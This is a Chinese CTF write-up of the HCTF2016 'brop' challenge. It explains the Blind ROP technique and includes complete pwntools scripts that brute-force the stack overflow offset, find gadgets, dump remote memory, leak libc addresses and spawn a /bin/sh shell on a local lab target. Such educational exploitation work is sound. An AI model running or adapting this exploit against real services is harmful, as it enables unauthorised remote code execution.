CTF-All-In-One/doc/6.1.1_pwn_hctf2016_brop.md
2017-11-23 21:32:22 +08:00

596 lines
22 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.1 pwn HCTF2016 brop
- [题目复现](#题目复现)
- [BROP 原理及题目解析](#brop-原理及题目解析)
- [Exploit](#exploit)
- [参考资料](#参考资料)
## 题目复现
出题人在 github 上开源了代码,[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下:
```C
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void) {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
puts("WelCome my friend,Do you know password?");
if(!check()) {
puts("Do not dump my memory");
} else {
puts("No password, no game");
}
}
int check() {
char buf[50];
read(STDIN_FILENO, buf, 1024);
return strcmp(buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
```
使用下面的语句编译,然后运行起来:
```
$ gcc -z noexecstack -fno-stack-protector -no-pie brop.c
```
checksec 如下:
```
$ checksec -f a.out
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 a.out
```
由于 socat 在程序崩溃时会断开连接,我们写一个小脚本,让程序在崩溃后立即重启,这样就模拟出了远程环境 `127.0.0.1:10001`
```bash
#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
fi
done
```
在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。不停地断开重连特别耗CPU建议在服务器上跑
## BROP 原理及题目解析
BROP 即 Blind ROP需要我们在无法获得二进制文件的情况下通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX和栈canaries的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。
实现这一攻击有两个必要条件:
1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它
2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。
下面我们结合题目来讲一讲。
#### 栈溢出
首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。
```python
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
```
```
[*] buffer size: 72
```
要注意的是,崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72。该题并没有开启canary所以跳过爆破的过程。
#### stop gadget
在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下当我们把返回地址覆盖后程序有很大的几率会挂掉因为所覆盖的地址可能并不是合法的所以我们需要一个能够使程序正常返回的地址称作 stop gadget这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:
```python
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 `sleep(0.1)` 做一定的缓冲,如果还是冲突,在 `except` 进行处理,后面的代码也一样。
```
[*] stop address: 0x4005e5
```
#### common gadget
有了 stop gadget那些原本会导致程序崩溃的地址还是一样会导致崩溃但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget由于是 64 位程序,可以考虑使用通用 gadget有关该内容请参见章节4.7
```python
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。
```
[*] gadget address: 0x40082a
```
有了通用 gadget就可以得到 `pop rdi; ret` 的地址了,即 gadget address + 9。
#### puts@plt
plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。
这里我们使用 puts 函数来 dump 内存,比起 write它只需要一个参数很方便
```python
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
这里让 puts 打印出 `0x400000` 地址处的内容因为这里通常是程序头的位置关闭PIE且前四个字符为 `\x7fELF`,方便进行验证。
```
[*] puts@plt address: 0x4005e7
```
成功找到一个地址,它确实调用 puts打印出了 `\x7fELF`,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。
```
gdb-peda$ disassemble /r 0x4005f0
Dump of assembler code for function puts@plt:
0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0
0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0
End of assembler dump.
```
不对呀puts@plt 明明是在 `0x4005f0`,那么 `0x4005e7` 是什么鬼。
```
gdb-peda$ pdisass /r 0x4005e7,0x400600
Dump of assembler code from 0x4005e7 to 0x400600:
0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24
0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0x00000000004005f0 <puts@plt+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
0x00000000004005f6 <puts@plt+6>: 68 00 00 00 00 push 0x0
0x00000000004005fb <puts@plt+11>: e9 e0 ff ff ff jmp 0x4005e0
End of assembler dump.
```
原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 `0x4005e7`
#### remote dump
有了 puts有了 gadget就可以着手 dump 程序了:
```python
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
```
我们知道 puts 函数通过 `\x00` 进行截断,并且会在每一次输出末尾加上换行符 `\x0a`,所以有一些特殊情况需要做一些处理,比如单独的 `\x00`、`\x0a` 等,首先当然是先去掉末尾 puts 自动加上的 `\n`,然后如果 recv 到一个 `\n`,说明内存中是 `\x00`,如果 recv 到一个 `\n\n`,说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定,如果有 `\n\n`,它很可能在收到第一个 `\n` 时就返回了,加上参数可以让它全部接收完。
这里选择从 `0x400000` dump到 `0x401000`,足够了,你还可以 dump 下 data 段的数据,大概从 `0x600000` 开始。
#### puts@got
拿到 dump 下来的文件,使用 Radare2 打开,使用参数 `-B` 指定程序基地址,然后反汇编 `puts@plt` 的位置 `0x4005e7`,当然你要直接反汇编 `0x4005f0` 也行:
```
$ r2 -B 0x400000 code.bin
[0x00400630]> pd 14 @ 0x4005e7
:::: 0x004005e7 25240a2000 and eax, 0x200a24
:::: 0x004005ec 0f1f4000 nop dword [rax]
:::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1
:::: 0x004005f6 6800000000 push 0
`====< 0x004005fb e9e0ffffff jmp 0x4005e0
::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1
::: 0x00400606 6801000000 push 1 ; 1
`===< 0x0040060b e9d0ffffff jmp 0x4005e0
:: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1
:: 0x00400616 6802000000 push 2 ; 2
`==< 0x0040061b e9c0ffffff jmp 0x4005e0
: 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1
: 0x00400626 6803000000 push 3 ; 3
`=< 0x0040062b e9b0ffffff jmp 0x4005e0
```
于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc这些信息可能会有用。
#### attack
后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc也就是目标机器上的 libc通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址,构造 payload 就可以了。
```python
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
```
```
[*] puts address: 0x7ffff7a90210
```
这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了:
```
$ ./add /usr/lib/libc-2.26.so
Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so)
-> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
-> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
-> Writing version info
```
然后查询ASLR 并不影响后 12 位的值):
```
$ ./find puts 210
/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
offset___libc_start_main_ret = 0x20f6a
offset_system = 0x0000000000042010
offset_dup2 = 0x00000000000e8100
offset_read = 0x00000000000e7820
offset_write = 0x00000000000e78c0
offset_str_bin_sh = 0x17aff5
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
offset_puts = 0x000000000006f210
```
```python
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```
Bingo!!!
```
$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```
## Exploit
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.1.1_pwn_hctf2016_brop)相应文件夹中:
```python
from pwn import *
#context.log_level = 'debug'
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
#buf_size = get_buffer_size()
buf_size = 72
#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5
#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a
#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7 # fake puts
#puts_plt = 0x4005f0 # true puts
# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
# f.write(code_bin)
# f.close()
puts_got = 0x00601018
# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
# f.write(data_bin)
# f.close()
# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210
# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```
## 参考资料
- [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/)
- [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/)